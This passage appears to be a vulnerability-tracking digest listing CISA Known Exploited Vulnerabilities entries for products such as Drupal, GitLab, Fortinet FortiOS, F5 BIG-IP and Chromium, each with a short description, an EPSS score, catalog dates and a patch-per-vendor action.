EPSS 94.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-9822&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-9822: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-9822&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Docker Desktop Community Edition Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-15752
Docker Desktop Community Edition Privilege Escalation Vulnerability (Nov 3, 2021).
Docker Desktop Community Edition contains a vulnerability that may allow local users to escalate privileges by placing a trojan horse docker-credential-wincred.exe file in %PROGRAMDATA%\DockerDesktop\version-bin\.
EPSS 48.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-15752&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-15752: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-15752&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### DrayTek Multiple Vigor Routers: Multiple DrayTek Vigor Routers Web Management Page Vulnerability
https://kevwire.com/record/CVE-2020-8515
DrayTek Multiple Vigor Routers: Multiple DrayTek Vigor Routers Web Management Page Vulnerability (Nov 3, 2021).
DrayTek Vigor3900, Vigor2960, and Vigor300B routers contain an unspecified vulnerability that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8515&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8515: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8515&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Drupal Core Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-7600
Drupal Core Remote Code Execution Vulnerability (Nov 3, 2021).
Drupal Core contains a remote code execution vulnerability that could allow an attacker to exploit multiple attack vectors on a Drupal site, resulting in complete site compromise.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-7600&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-7600: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-7600&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GitLab Community and Enterprise Editions Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-22205
GitLab Community and Enterprise Editions Remote Code Execution Vulnerability (Nov 3, 2021).
GitHub Community and Enterprise Editions that utilize the ability to upload images through GitLab Workhorse are vulnerable to remote code execution. Workhorse passes image file extensions through ExifTool, which improperly validates the image files.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22205&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22205: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22205&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Exim Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2018-6789
Exim Buffer Overflow Vulnerability (Nov 3, 2021).
Exim contains a buffer overflow vulnerability in the base64d function part of the SMTP listener that may allow for remote code execution.
EPSS 82.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6789&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-6789: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6789&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### EyesOfNetwork Use of Hard-Coded Credentials Vulnerability
https://kevwire.com/record/CVE-2020-8657
EyesOfNetwork Use of Hard-Coded Credentials Vulnerability (Nov 3, 2021).
EyesOfNetwork contains a use of hard-coded credentials vulnerability, as it uses the same API key by default. Exploitation allows an attacker to calculate or guess the admin access token.
EPSS 91.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8657&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8657: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8657&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### EyesOfNetwork Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2020-8655
EyesOfNetwork Improper Privilege Management Vulnerability (Nov 3, 2021).
EyesOfNetwork contains an improper privilege management vulnerability that may allow a user to run commands as root via a crafted Nmap Scripting Engine (NSE) script to nmap7.
EPSS 60.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8655&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8655&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-5902
F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability (Nov 3, 2021).
F5 BIG-IP Traffic Management User Interface (TMUI) contains a remote code execution vulnerability in undisclosed pages.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5902&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5902: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5902&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP and BIG-IQ Centralized Management iControl REST Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-22986
F5 BIG-IP and BIG-IQ Centralized Management iControl REST Remote Code Execution Vulnerability (Nov 3, 2021).
F5 BIG-IP and BIG-IQ Centralized Management contain a remote code execution vulnerability in the iControl REST interface that allows unauthenticated attackers with network access to execute system commands, create or delete files, and disable services.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22986&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22986: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22986&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ForgeRock Access Management (AM) Core Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-35464
ForgeRock Access Management (AM) Core Server Remote Code Execution Vulnerability (Nov 3, 2021).
ForgeRock Access Management (AM) Core Server allows an attacker who sends a specially crafted HTTP request to one of three endpoints (/ccversion/Version, /ccversion/Masthead, or /ccversion/ButtonFrame) to execute code in the context of the current user (unless ForgeRock AM is running as root user, which the vendor does not recommend).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-35464&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-35464: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-35464&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS Default Configuration Vulnerability
https://kevwire.com/record/CVE-2019-5591
Fortinet FortiOS Default Configuration Vulnerability (Nov 3, 2021).
Fortinet FortiOS contains a default configuration vulnerability that may allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the Lightweight Directory Access Protocol (LDAP) server.
EPSS 18.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5591&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-5591: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5591&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS SSL VPN Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2020-12812
Fortinet FortiOS SSL VPN Improper Authentication Vulnerability (Nov 3, 2021).
Fortinet FortiOS SSL VPN contains an improper authentication vulnerability that may allow a user to login successfully without being prompted for the second factor of authentication (FortiToken) if they change the case in their username.
EPSS 45.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-12812&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-12812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-12812&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS SSL VPN Path Traversal Vulnerability
https://kevwire.com/record/CVE-2018-13379
Fortinet FortiOS SSL VPN Path Traversal Vulnerability (Nov 3, 2021).
Fortinet FortiOS SSL VPN web portal contains a path traversal vulnerability that may allow an unauthenticated attacker to download FortiOS system files through specially crafted HTTP resource requests.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-13379&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-13379: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-13379&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chrome for Android UI Heap Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2020-16010
Google Chrome for Android UI Heap Buffer Overflow Vulnerability (Nov 3, 2021).
Google Chrome for Android UI contains a heap buffer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page.
EPSS 6.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-16010&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-16010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-16010&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chrome FreeType Heap Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2020-15999
Google Chrome FreeType Heap Buffer Overflow Vulnerability (Nov 3, 2021).
Google Chrome uses FreeType, an open-source software library to render fonts, which contains a heap buffer overflow vulnerability in the function Load_SBit_Png when processing PNG images embedded into fonts. This vulnerability is part of an exploit chain with CVE-2020-17087 on Windows and CVE-2020-16010 on Android.
EPSS 63.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-15999&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-15999: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-15999&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Race Condition Vulnerability
https://kevwire.com/record/CVE-2021-21166
Google Chromium Race Condition Vulnerability (Nov 3, 2021).
Google Chromium contains a race condition vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 24.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21166&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21166: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21166&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chrome Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2020-16017
Google Chrome Use-After-Free Vulnerability (Nov 3, 2021).
Google Chrome contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-16017&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-16017: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-16017&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2021-37976
Google Chromium Information Disclosure Vulnerability (Nov 3, 2021).
Google Chromium contains an information disclosure vulnerability within the core memory component that allows a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 19.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-37976&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-37976: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-37976&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2020-16009
Google Chromium V8 Type Confusion Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 48.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-16009&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-16009: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-16009&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2021-30632
Google Chromium V8 Out-of-Bounds Write Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains an out-of-bounds write vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 63.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30632&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30632: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30632&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Incorrect Implementation Vulnerabililty
https://kevwire.com/record/CVE-2020-16013
Google Chromium V8 Incorrect Implementation Vulnerabililty (Nov 3, 2021).
Google Chromium V8 Engine contains an inappropriate implementation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-16013&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-16013: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-16013&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Indexed DB API Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-30633
Google Chromium Indexed DB API Use-After-Free Vulnerability (Nov 3, 2021).
Google Chromium Indexed DB API contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 33.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30633&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30633: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30633&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Heap Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-21148
Google Chromium V8 Heap Buffer Overflow Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains a heap buffer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 20.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21148&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21148: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21148&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Portals Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-37973
Google Chromium Portals Use-After-Free Vulnerability (Nov 3, 2021).
Google Chromium Portals contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects web browsers that utilize Chromium, including Google Chrome and Microsoft Edge.
EPSS 11.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-37973&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-37973: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-37973&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2021-30551
Google Chromium V8 Type Confusion Vulnerability (Nov 3, 2021).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 64.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30551&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30551&date=2026-10-25
